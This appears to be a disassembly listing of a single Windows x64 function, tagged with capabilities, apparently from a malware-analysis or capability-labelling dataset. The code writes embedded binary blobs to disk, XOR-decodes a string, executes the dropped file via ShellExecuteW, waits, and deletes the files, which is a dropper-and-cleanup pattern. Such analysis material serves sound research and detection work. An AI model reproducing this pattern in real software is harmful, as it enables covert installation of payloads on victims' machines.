Function at 0x140541fd7
Capabilities:
Create process on windows
Delete file
Encode data using xor
Write and execute a file
Write file on windows

Disassembly:
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x50
je 0x14001ea75
cmp rbx, 0xffffffffffffffff
je 0x14001ea75
mov qword [rsp + 0x20], r12
lea r9, [rbp - 0x50]
mov r8d, 0x2400
lea rdx, [0x140094510]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rsp + 0x40]
call fcn.14000a000
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], r12
mov rsi, qword [rbp - 0x38]
lea r14, [rbp - 0x48]
cmp qword [rbp - 0x30], 8
cmovae r14, qword [rbp - 0x48]
cmp rsi, rdi
ja 0x14001eef8
mov qword [rsp + 0x58], 7
cmp rsi, 8
jae 0x14001ead5
mov qword [rsp + 0x50], rsi
mov r8d, reloc.WS2_32.dll_recv
mov rdx, r14
lea rcx, [rsp + 0x40]
call sub.VCRUNTIME140.dll_memmove
jmp 0x14001eb23
mov rbx, rsi
or rbx, 7
cmp rbx, rdi
jbe 0x14001eae6
mov rbx, rdi
jmp 0x14001eaf3
cmp rbx, 0xa
mov eax, 0xa
cmovb rbx, rax
lea rdx, [rbx + 1]
lea rcx, [rsp + 0x40]
call fcn.14000b390
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], rbx
lea r8, [rsi*2 + 2]
mov rdx, r14
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov dword [rbp - 0x50], r12d
lea rcx, [rsp + 0x40]
cmp qword [rsp + 0x58], 8
cmovae rcx, qword [rsp + 0x40]
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
mov edx, 0x10000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x50
je 0x14001eb9a
cmp rbx, 0xffffffffffffffff
je 0x14001eb9a
mov qword [rsp + 0x20], r12
lea r9, [rbp - 0x50]
mov r8d, 0x41200
lea rdx, [0x140096910]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rsp + 0x40]
call fcn.14000a000
lea rax, [rsp + 0x70]
mov qword [rsp + 0x68], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x78], r12
lea r14, [rbp - 8]
mov rsi, qword [rbp - 8]
mov r15, qword [rbp + 0x10]
cmp r15, 8
cmovae r14, rsi
mov rbx, qword [rbp + 8]
cmp rbx, rdi
ja 0x14001eee6
mov qword [rbp - 0x78], 7
cmp rbx, 8
jae 0x14001ec06
mov qword [rbp - 0x80], rbx
mov r8d, reloc.WS2_32.dll_recv
mov rdx, r14
lea rcx, [rsp + 0x70]
call sub.VCRUNTIME140.dll_memmove
jmp 0x14001ec51
mov rax, rbx
or rax, 7
cmp rax, rdi
ja 0x14001ec22
mov rdi, rax
cmp rax, 0xa
mov eax, 0xa
cmovb rdi, rax
lea rdx, [rdi + 1]
lea rcx, [rsp + 0x70]
call fcn.14000b390
mov qword [rsp + 0x70], rax
mov qword [rbp - 0x80], rbx
mov qword [rbp - 0x78], rdi
lea r8, [rbx*2 + 2]
mov rdx, r14
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
nop
lea rdx, [rbp - 0x48]
lea rcx, [rbp - 0x70]
call fcn.140019820
mov rbx, rax
lea rdi, [rsp + 0x70]
cmp qword [rbp - 0x78], 8
cmovae rdi, qword [rsp + 0x70]
mov r14, rax
cmp qword [rax + 0x18], 8
jb 0x14001ec7e
mov r14, qword [rax]
mov ecx, WSAStartup
xor edx, edx
call fcn.140019170
mov word [rsp + 0x40], ax
mov ecx, 0x75
lea edx, [rcx - 0x74]
call fcn.140019170
mov word [rsp + 0x42], ax
mov ecx, WSASetLastError
lea edx, [rcx - 0x6c]
call fcn.140019170
mov word [rsp + 0x44], ax
mov ecx, 0x61
lea edx, [rcx - 0x5e]
call fcn.140019170
mov word [rsp + 0x46], ax
mov ecx, reloc.WS2_32.dll_WSAStartup
lea edx, [rcx - 0x6f]
call fcn.140019170
mov word [rsp + 0x48], ax
movzx eax, word [rsp + 0x60]
mov word [rsp + 0x4a], ax
mov edx, 6
movzx ecx, word [0x14007818c]
call fcn.140019170
mov word [rsp + 0x4c], ax
mov edx, 7
movzx ecx, word [0x14007818e]
call fcn.140019170
mov word [rsp + 0x4e], ax
mov edx, 8
movzx ecx, word [reloc.WLDAP32.dll_Ordinal_46]
call fcn.140019170
mov word [rsp + 0x50], ax
mov edx, 9
movzx ecx, word [reloc.WS2_32.dll_WSAStartup]
call fcn.140019170
mov word [rsp + 0x52], ax
mov edx, 0xa
movzx ecx, word [0x140078194]
call fcn.140019170
mov word [rsp + 0x54], ax
xor eax, eax
mov word [rsp + 0x56], ax
mov edx, r12d
mov r8d, 0x133
nop
movsxd rax, edx
lea rcx, [rsp + 0x40]
lea rcx, [rcx + rax*2]
lea eax, [r8 + rdx]
xor word [rcx], ax
inc edx
cmp edx, 0xb
jb 0x14001ed60
mov word [rsp + 0x56], r12w
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
mov r9, rdi
mov r8, r14
lea rdx, [rsp + 0x40]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rcx, rbx
call fcn.14000a000
lea rcx, [rsp + 0x70]
call fcn.14000a000
mov ecx, 0x1770
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp - 0x28]
cmp qword [rbp - 0x10], 8
cmovae rcx, qword [rbp - 0x28]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp - 0x48]
cmp qword [rbp - 0x30], 8
cmovae rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
nop
cmp r15, 8
jb 0x14001ee22
lea rdx, [r15*2 + 2]
mov rax, rsi
cmp rdx, 0x1000
jb 0x14001ee19
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001ee19
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rsi
call fcn.140073230
nop
mov rdx, qword [rbp - 0x30]
cmp rdx, 8
jb 0x14001ee65
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001ee60
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001ee60
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140073230
mov qword [rbp - 0x38], r12
mov qword [rbp - 0x30], 7
mov word [rbp - 0x48], r12w
mov rdx, qword [rbp - 0x10]
cmp rdx, 8
jb 0x14001eeb9
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001eeb4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001eeb4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140073230
mov rcx, qword [rbp + 0x18]
xor rcx, rsp
call fcn.140073350
lea r11, [rsp + 0x120]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140002ba0
nop
call fcn.140002ba0
nop
call fcn.140002ba0
int3
call fcn.140002ba0
int3
jb 0x14001ea3c
push rsi
mov r9, qword [rsp + 0x28]
cmp r10d, ebx
call fcn.1403f9cc4